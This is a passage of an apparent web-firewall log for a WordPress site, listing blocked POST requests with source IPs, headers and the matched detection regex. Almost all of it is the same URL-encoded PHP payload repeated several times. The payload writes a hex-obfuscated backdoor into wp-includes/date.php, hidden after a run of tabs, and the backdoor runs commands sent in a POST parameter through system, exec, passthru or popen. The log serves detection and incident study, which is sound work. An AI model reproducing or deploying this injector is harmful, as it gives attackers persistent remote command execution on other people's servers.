lver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:42:35","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ym:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJ0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:6508\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nym=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:42:47","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:6508\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nkv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:42:50","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ek:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524